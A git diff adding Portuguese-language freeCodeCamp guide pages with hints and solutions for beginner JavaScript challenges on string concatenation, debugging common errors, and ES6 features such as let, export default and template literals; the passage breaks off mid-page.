+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/word-blanks/index.md
@@ -0,0 +1,86 @@
+---
+title: Word Blanks
+localeTitle: Blanks da palavra
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 ": checkered_flag:") Explicação do Problema:
+
+Agora usaremos nosso conhecimento de strings para criar um jogo de palavras estilo **Mad Libs** que estamos chamando de "Word Blanks". Você criará uma frase "Preencha os espaços em branco" (opcionalmente engraçada).
+
+Você precisará usar operadores de string para construir uma nova string, **resultado** , usando as variáveis ​​fornecidas: **myNoun** , **myAdjective** , **myVerb** e **myAdverb** .
+
+Você também precisará usar strings adicionais, que não serão alteradas e devem estar entre todas as palavras fornecidas. A saída deve ser uma frase completa.
+
+Nós fornecemos uma estrutura para testar seus resultados com palavras diferentes. Os testes executarão sua função com várias entradas diferentes para garantir que todas as palavras fornecidas apareçam na saída, bem como suas cadeias extras.
+
+*   Altere o código abaixo `//Your Code here` e até `//Change this line` .
+*   Tome nota que você está editando o interior da função `wordBlanks()` .
+*   Você terá basicamente criado uma frase com as variáveis ​​de string fornecidas.
+
+#### Links Relevantes
+
+*   [Bibliotecas desorganizadas](https://en.wikipedia.org/wiki/Mad_Libs)
+*   [Desafio: Construindo Strings com Variáveis](http://www.freecodecamp.com/challenges/constructing-strings-with-variables)
+*   [Desafio: Concatenando Strings com o Operador Plus](http://www.freecodecamp.com/challenges/concatenating-strings-with-plus-operator)
+*   [Desafio: Concatenando Strings com o Operador Plus Equals](http://www.freecodecamp.com/challenges/concatenating-strings-with-the-plus-equals-operator)
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+`+` pode ser usado para _concatenar_ strings.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 2
+
+Assim como você pode encadear cadeias de caracteres concatenando, você pode atribuí-las a uma variável existente em vez de uma nova.
+
+> _tente resolver o problema agora_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Dica: 3
+
+`+=` permitirá que você use uma variável existente, um tipo de string neste caso. Lembre-se de adicionar suas próprias **letras não** entre cada variável.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+```
+function wordBlanks(myNoun, myAdjective, myVerb, myAdverb) { 
+    var result = ""; 
+    // Your code below this line 
+    result+= "My "+myAdjective+" "+myNoun+" "+myVerb+" very "+myAdverb+"."; 
+ 
+    // Your code above this line 
+  return result; 
+ } 
+ 
+ // Change the words here to test your function 
+ wordBlanks("dog", "big", "ran", "quickly"); 
+```
+
+**Exemplo de Execução**
+
+*   Teste `wordBlanks("dog", "big", "ran", "quickly");` corre.
+*   O **resultado da** variável é declarado com uma string vazia `""` .
+*   **O resultado** será alterado com uma nova string composta pelas strings "dog", "big", "ran", " **quick** ", através das variáveis **myNoun** , **myAdjective** , **myVerb** , **myAdverb** respectivamente; a ordem é alterada e o espaço em branco adicionado.
+*   **resultado** é retornado.
+
+### Explicação do código:
+
+*   Use o **resultado** para concatenar as variáveis ​​dadas.
+*   Separe palavras com espaços em branco e palavras apropriadas para formar a frase completa.
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/write-reusable-javascript-with-functions/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/write-reusable-javascript-with-functions/index.md
new file mode 100644
index 0000000000..c2dbc7bf46
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/basic-javascript/write-reusable-javascript-with-functions/index.md
@@ -0,0 +1,22 @@
+---
+title: Write Reusable JavaScript with Functions
+localeTitle: Escreva JavaScript reutilizável com funções
+---
+## Escreva JavaScript reutilizável com funções
+
+As funções permitem reutilizar o código repetidamente. Nossa tarefa é fazer um `reusableFunction()` simples `reusableFunction()` que imprime "Hi World" para o console (que você pode alcançar com **Ctrl + Shift + I** ).
+
+Você começa usando a palavra-chave `function` e digitando o nome da função (que segue a formatação do Case Camel). Em seguida, digite the `()` e crie os `{}` colchetes. Igual a:
+
+```javascript
+function reusableFunction() {} 
+```
+
+Agora, sua função está pronta para ser digitada. Use o `console.log()` para imprimir uma mensagem no console. A solução básica de código da seguinte forma:
+
+```javascript
+function reusableFunction() { 
+    console.log("Hi World"); 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-arguments-passed-in-the-wrong-order-when-calling-a-function/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-arguments-passed-in-the-wrong-order-when-calling-a-function/index.md
new file mode 100644
index 0000000000..55931623a8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-arguments-passed-in-the-wrong-order-when-calling-a-function/index.md
@@ -0,0 +1,22 @@
+---
+title: Catch Arguments Passed in the Wrong Order When Calling a Function
+localeTitle: Argumentos de captura passados ​​na ordem errada ao chamar uma função
+---
+## Argumentos de captura passados ​​na ordem errada ao chamar uma função
+
+```javascript
+function raiseToPower(b, e) { 
+  return Math.pow(b, e); 
+ } 
+```
+
+*   A função acima é usada para elevar o número base `b` para a potência do expoente `e` .
+*   A função deve ser chamada especificamente com variáveis ​​na ordem correta. Caso contrário, a função misturará as duas variáveis ​​e retornará uma resposta indesejada.
+*   Certifique-se de que a `power` variável esteja implementando a função `raiseToPower` corretamente.
+
+## Solução:
+
+```javascript
+let power = raiseToPower(base, exp); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-missing-open-and-closing-parenthesis-after-a-function-call/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-missing-open-and-closing-parenthesis-after-a-function-call/index.md
new file mode 100644
index 0000000000..8e7d1b0187
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-missing-open-and-closing-parenthesis-after-a-function-call/index.md
@@ -0,0 +1,15 @@
+---
+title: Catch Missing Open and Closing Parenthesis After a Function Call
+localeTitle: Pegar falta abrir e fechar parêntese após uma chamada de função
+---
+## Pegar falta abrir e fechar parêntese após uma chamada de função
+
+*   Lembre-se de adicionar parênteses de abertura e fechamento ao chamar uma função.
+*   Nome da função + ();
+
+## Solução:
+
+```javascript
+ let result = getNine(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-misspelled-variable-and-function-names/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-misspelled-variable-and-function-names/index.md
new file mode 100644
index 0000000000..073f699289
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-misspelled-variable-and-function-names/index.md
@@ -0,0 +1,27 @@
+---
+title: Catch Misspelled Variable and Function Names
+localeTitle: Capturar nomes de variáveis ​​e variáveis ​​com erros ortográficos
+---
+## Capturar nomes de variáveis ​​e variáveis ​​com erros ortográficos
+
+### Explicação do problema:
+
+Corrija os dois erros de ortografia no código para que o cálculo netWorkingCapital funcione.
+
+### Sugestão
+
+Verifique a ortografia das duas primeiras variáveis ​​em relação a quando é usada.
+
+## Alerta de spoiler!
+
+**Solução à frente!**
+
+```javascript
+// 'i' and 'e' swapped in "receivables" and missing 's' in "payables" 
+ 
+ let receivables = 10; 
+ let payables = 8; 
+ let netWorkingCapital = receivables - payables; 
+ console.log(`Net working capital is: ${netWorkingCapital}`); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-mixed-usage-of-single-and-double-quotes/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-mixed-usage-of-single-and-double-quotes/index.md
new file mode 100644
index 0000000000..372f05aa47
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-mixed-usage-of-single-and-double-quotes/index.md
@@ -0,0 +1,17 @@
+---
+title: Catch Mixed Usage of Single and Double Quotes
+localeTitle: Pegar Uso Misto de Citações Únicas e Duplas
+---
+## Pegar Uso Misto de Citações Únicas e Duplas
+
+*   Lembre-se de escolher usar aspas simples ou duplas, simplesmente adicionando um `\` antes do caractere permitir que o caractere caiba na string sem fechar aspas simples ou duplas.
+*   Os casos de teste só serão passados ​​usando aspas duplas.
+
+## Solução:
+
+```javascript
+//Solution1: 
+ let innerHtml = "<p>Click here to <a href=\"#Home\">return home</a></p>"; 
+ console.log(innerHtml); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-off-by-one-errors-when-using-indexing/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-off-by-one-errors-when-using-indexing/index.md
new file mode 100644
index 0000000000..1f15e3b064
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-off-by-one-errors-when-using-indexing/index.md
@@ -0,0 +1,70 @@
+---
+title: Catch Off By One Errors When Using Indexing
+localeTitle: Catch Off One erros ao usar a indexação
+---
+## Catch Off One erros ao usar a indexação
+
+### Noções básicas
+
+Devido à maneira como os índices JavaScript funcionam, `firstFive` tem **cinco elementos,** mas eles são indexados de **0 a 4** !
+
+```javascript
+console.log(len); // 5 
+ console.log(firstFive[0]); // 1 
+ /**/ 
+ console.log(firstFive[4]); // 5 
+ console.log(firstFive[5]); // undefined 
+```
+
+Isso deve lhe dar o suficiente para entender os limites do `firstFive` . Direcione sua atenção para o loop. O que isso faz? Você poderia tentar depurá-lo para descobrir!
+
+### Depuração
+
+Você recebe este código:
+
+```javascript
+  for (let i = 1; i <= len; i++) { 
+    console.log(firstFive[i]); 
+  } 
+```
+
+Para depurar este trecho de código, use `console.clear()` . Qual seria o melhor lugar para isso? A resposta está certa antes da declaração `for` !
+
+```javascript
+  console.clear(); 
+  for (let i = 1; i <= len; i++) { 
+    console.log(firstFive[i]); 
+  } 
+```
+
+Saída do console:
+
+```text
+  Console was cleared. 
+  2 
+  3 
+  4 
+  5 
+  undefined 
+```
+
+### Análise
+
+Examine a saída. Sob essas condições, o loop primeiro imprime o elemento posicionado em 1… que é 2! Ele também tenta imprimir o elemento indexado em 5, que é `undefined` .
+
+Isso pode ser considerado o ponto desse desafio. Mantenha o `console.log()` e o `console.clear()` presentes. Eles ajudarão você a entender como seu código funciona.
+
+### Solução
+
+A maneira mais simples de corrigir isso é alterar as condições for (). Faça com que `i` comece em 0. Além disso, o loop **não deve** ser executado para i == 5. Em outras palavras, o relacionamento entre `i` e `len` deve ser `false` quando i == 5. Isso pode ser obtido usando `i < len` (Is 5 <len? false e o loop não será executado!).
+
+```javascript
+  for (let i = 0; i < len; i++) { 
+```
+
+**Codificação Feliz!** :computador:
+
+### Recursos
+
+*   [Para o desafio de declarações no FreeCodeCamp](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/iterate-with-javascript-for-loops)
+*   [Para declarações em documentos da Web do MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Loops_and_iteration#for_statement)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-unclosed-parentheses-brackets-braces-and-quotes/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-unclosed-parentheses-brackets-braces-and-quotes/index.md
new file mode 100644
index 0000000000..6d8d44788a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-unclosed-parentheses-brackets-braces-and-quotes/index.md
@@ -0,0 +1,34 @@
+---
+title: Catch Unclosed Parentheses, Brackets, Braces and Quotes
+localeTitle: Pegar parênteses, suportes, chaves e citações não fechadas
+---
+## Pegar parênteses, suportes, chaves e citações não fechadas
+
+O método reduce () reduz um array a um único valor. Se você não estiver familiarizado com isso, o código a seguir mostra um exemplo do uso do método:
+```
+const array1 = [1, 2, 3, 4]; 
+ console.log(array1.reduce((accumulator, currentValue) => accumulator + currentValue));  // expected output: 10 
+```
+
+Você também pode definir o argumento para o método reduce como uma variável ou constante e entregá-lo à função, por exemplo,
+```
+const array1 = [1, 2, 3, 4]; 
+ const reducer = (accumulator, currentValue) => accumulator + currentValue; 
+ 
+ // 1 + 2 + 3 + 4 
+ console.log(array1.reduce(reducer));      // expected output: 10 
+ 
+ // 5 + 1 + 2 + 3 + 4 
+ console.log(array1.reduce(reducer, 5));   // expected output: 15 
+```
+
+Você pode ver e executar este código em [Array.prototype.reduce ()](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) .
+
+## Solução:
+
+```javascript
+let myArray = [1, 2, 3]; 
+ let arraySum = myArray.reduce((previous, current) =>  previous + current); 
+ console.log(`Sum of array values is: ${arraySum}`); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-use-of-assignment-operator-instead-of-equality-operator/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-use-of-assignment-operator-instead-of-equality-operator/index.md
new file mode 100644
index 0000000000..e771ac669b
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/catch-use-of-assignment-operator-instead-of-equality-operator/index.md
@@ -0,0 +1,25 @@
+---
+title: Catch Use of Assignment Operator Instead of Equality Operator
+localeTitle: Pegar o uso do operador de atribuição em vez do operador de igualdade
+---
+## Pegar o uso do operador de atribuição em vez do operador de igualdade
+
+*   Somente a declaração if deve ser editada neste desafio.
+*   O operador `=` por si só é usado para atribuir valores e não para compará-los.
+
+## Solução
+
+```javascript
+let x = 7; 
+ let y = 9; 
+ let result = "to come"; 
+ 
+ if(x == y) { 
+  result = "Equal!"; 
+ } else { 
+  result = "Not equal!"; 
+ } 
+ 
+ console.log(result); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/index.md
new file mode 100644
index 0000000000..ab271ba30a
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/index.md
@@ -0,0 +1,11 @@
+---
+title: Debugging
+localeTitle: Depuração
+---
+## Depuração
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/prevent-infinite-loops-with-a-valid-terminal-condition/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/prevent-infinite-loops-with-a-valid-terminal-condition/index.md
new file mode 100644
index 0000000000..f00c9a0ef8
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/prevent-infinite-loops-with-a-valid-terminal-condition/index.md
@@ -0,0 +1,31 @@
+---
+title: Prevent Infinite Loops with a Valid Terminal Condition
+localeTitle: Evite Loops Infinitos com uma Condição Terminal Válida
+---
+## Evite Loops Infinitos com uma Condição Terminal Válida
+
+*   Para evitar um loop infinito, a `while-condition` deve atingir uma condição terminal para sair do loop.
+*   Portanto, o erro neste desafio ocorre devido à condição - `i != 4` - no loop for.
+*   Se você der uma olhada mais de perto no código:
+
+```javascript
+function myFunc() { 
+  for (let i = 1; i != 4; i += 2) { 
+    console.log("Still going!"); 
+  } 
+ } 
+```
+
+*   Você verá que `i` é inicializado pela primeira vez como 1 e após cada iteração do loop, `i` é incrementado por 2.
+*   Usando esta lógica, após a primeira iteração - `i = 3` e a segunda iteração `i = 5` , a condição `i != 4` nunca será atendida e ocorrerá um loop infinito.
+
+## Solução:
+
+```javascript
+function myFunc() { 
+  for (let i = 1; i <= 4; i += 2) { 
+    console.log("Still going!"); 
+  } 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md
new file mode 100644
index 0000000000..f7f28bbe35
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md
@@ -0,0 +1,9 @@
+---
+title: Understanding the Differences between the freeCodeCamp and Browser Console
+localeTitle: Entendendo as Diferenças entre o FreeCodeCamp e o Console do Navegador
+---
+## Entendendo as Diferenças entre o FreeCodeCamp e o Console do Navegador
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/debugging/understanding-the-differences-between-the-freecodecamp-and-browser-console/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/use-caution-when-reinitializing-variables-inside-a-loop/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/use-caution-when-reinitializing-variables-inside-a-loop/index.md
new file mode 100644
index 0000000000..dc15344551
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/use-caution-when-reinitializing-variables-inside-a-loop/index.md
@@ -0,0 +1,51 @@
+---
+title: Use Caution When Reinitializing Variables Inside a Loop
+localeTitle: Tenha cuidado ao reinicializar variáveis ​​dentro de um loop
+---
+## Tenha cuidado ao reinicializar variáveis ​​dentro de um loop
+
+*   Esse desafio deve ser resolvido redefinindo o escopo da `row[]` .
+*   Abaixo está um exemplo da matriz desejada.
+
+```javascript
+[ 
+ [0][0], 
+ [0][0], 
+ [0][0] 
+ ] 
+```
+
+*   No entanto, a matriz atual - vista abaixo - está longe da matriz desejada
+
+```javascript
+[ 
+ [0][0][0][0][0][0], 
+ [0][0][0][0][0][0], 
+ [0][0][0][0][0][0] 
+ ] 
+```
+
+*   Este erro ocorre devido à matriz `row[]` sendo declarada como uma variável global fora do loop aninhado.
+*   No entanto, para preencher a matriz corretamente, a matriz `row[]` deve ser redefinida após cada iteração do loop externo.
+
+## Solução
+
+```javascript
+function zeroArray(m, n) { 
+  let newArray = []; 
+  for (let i = 0; i < m; i++) { 
+     let row = []; /* <-----  row has been declared inside the outer loop. 
+     Now a new row will be initialised during each iteration of the outer loop allowing 
+     for the desired matrix. */ 
+    for (let j = 0; j < n; j++) { 
+ 
+      row.push(0); 
+    } 
+    newArray.push(row); 
+  } 
+  return newArray; 
+ } 
+ let matrix = zeroArray(3, 2); 
+ console.log(matrix); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md
new file mode 100644
index 0000000000..96ddf8ab02
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md
@@ -0,0 +1,9 @@
+---
+title: Use the JavaScript Console to Check the Value of a Variable
+localeTitle: Use o Console JavaScript para verificar o valor de uma variável
+---
+## Use o Console JavaScript para verificar o valor de uma variável
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/debugging/use-the-javascript-console-to-check-the-value-of-a-variable/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/use-typeof-to-check-the-type-of-a-variable/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/use-typeof-to-check-the-type-of-a-variable/index.md
new file mode 100644
index 0000000000..beb3bfae04
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/debugging/use-typeof-to-check-the-type-of-a-variable/index.md
@@ -0,0 +1,15 @@
+---
+title: Use typeof to Check the Type of a Variable
+localeTitle: Use typeof para verificar o tipo de uma variável
+---
+## Use typeof para verificar o tipo de uma variável
+
+*   Use `console.log(typeof variable)` para exibir o tipo da variável desejada.
+
+## Solução:
+
+```javascript
+console.log(typeof seven); 
+ console.log(typeof three); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/compare-scopes-of-the-var-and-let-keywords/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/compare-scopes-of-the-var-and-let-keywords/index.md
new file mode 100644
index 0000000000..0f5611ce4e
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/compare-scopes-of-the-var-and-let-keywords/index.md
@@ -0,0 +1,61 @@
+---
+title: Compare Scopes of the var and let Keywords
+localeTitle: Compare escopos do var e deixe Palavras-chave
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa ![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 ": busts_in_silhouette:") e escreva seu próprio código ![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 ":lápis:")
+
+### Explicação do Problema:
+
+Precisamos mudar `var` para `let` em nosso escopo de função e adicionar `let` ao nosso escopo de bloco.
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 ": speech_balloon:") Sugestão: 1
+
+*   Encontre `var` e substitua por `let` .
+
+> _tente resolver o problema agora_
+
+*   Adicione `let` à variável `i` dentro de sua instrução if.
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 ":principiante:") Solução básica de código:
+
+```javascript
+    function checkScope() { 
+      "use strict"; 
+      let i = "function scope"; 
+      if (true) { 
+        let i = "block scope"; 
+        console.log("Block scope i is: ", i); 
+      } 
+    console.log("Function scope i is: ", i); 
+    return i; 
+    } 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 ":foguete:") [Executar código](https://codepen.io/dylantyates/pen/wxwxRd)
+
+# Explicação do código:
+
+Usando `let` você pode declarar variáveis em relação ao seu escopo.
+
+#### Links Relevantes
+
+*   [deixei](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 ":prancheta:") NOTAS PARA CONTRIBUIÇÕES:
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **NÃO** adicione soluções semelhantes às soluções existentes. Se você acha que é **_semelhante, mas melhor_** , tente mesclar (ou substituir) a solução semelhante existente.
+*   Adicione uma explicação da sua solução.
+*   Categorize a solução em uma das seguintes categorias - **Básica** , **Intermediária** e **Avançada** . ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 ":semáforo:")
+*   Por favor, adicione seu nome de usuário somente se você adicionou qualquer **conteúdo principal relevante** . ( ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 ":Aviso:") **_NÃO_** _remova nenhum nome de usuário existente_ )
+
+> Vejo ![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 ": point_right:") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272) para referência.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/create-an-export-fallback-with-export-default/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/create-an-export-fallback-with-export-default/index.md
new file mode 100644
index 0000000000..bd5a19c918
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/create-an-export-fallback-with-export-default/index.md
@@ -0,0 +1,21 @@
+---
+title: Create an Export Fallback with export default
+localeTitle: Criar um retorno de exportação com padrão de exportação
+---
+## Criar um retorno de exportação com padrão de exportação
+
+O que é um valor de fallback? É basicamente um padrão para o qual o código retornará se nada tiver sido definido. Por exemplo, as variáveis ​​têm o valor de fallback padrão de `undefined` . Dito isto, uma dica para este desafio!
+
+## Sugestão 1:
+
+Basta adicionar `export default` ao início da função.
+
+## Alerta de Spoiler - Solução à frente!
+
+## Solução:
+
+```javascript
+"use strict"; 
+ export default function subtract(x,y) {return x - y;} 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/create-strings-using-template-literals/index.md b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/create-strings-using-template-literals/index.md
new file mode 100644
index 0000000000..4387d6e456
--- /dev/null
+++ b/client/src/guide/portuguese/certifications/javascript-algorithms-and-data-structures/es6/create-strings-using-template-literals/index.md
@@ -0,0 +1,37 @@
+---
+title: Create Strings Using Template Literals
+localeTitle: Criar Strings Usando Literais de Template
+---
+Em vez de usar a concatenação de strings, o ES6 oferece literais de modelo para criar strings. Nesse desafio, você precisa usar literais de modelo para criar uma matriz de avisos de texto.
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "triangular_flag_on_post:") Lembre-se de usar **`Read-Search-Ask`** se você ficar preso. Tente emparelhar o programa e escrever seu próprio código.
+
+### Explicação do Problema:
+
+É necessário usar literais de modelo para retornar uma lista como todos os elementos da matriz, pois o elemento será agrupado em uma tag `<li></li>` .
+
+## Sugestão: 1
+
+*   Use a função `map()` para aplicar os literais do template em todos os elementos `arr`
+
+> _tente resolver o problema agora_
+
+## Dica: 2
+
+*   Dentro do `map()` use uma função de seta que tenha `element` como um parâmetro e retorne `<li></li>` que possui a classe de aviso de texto e contém o `element` dentro dela
+
+> _tente resolver o problema agora_
+
+## Alerta de Spoiler!
+
+![sinal de aviso](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**Solução à frente!**
+
+``const resultDisplayArray = arr.map(item => `<li class="text-warning">${item}</li>`);``
+
+## Nenhuma solução de mapa ()
+
+Apesar de ser uma solução menos flexível, se você souber o número de elementos antecipadamente, poderá enumerá-los como
+
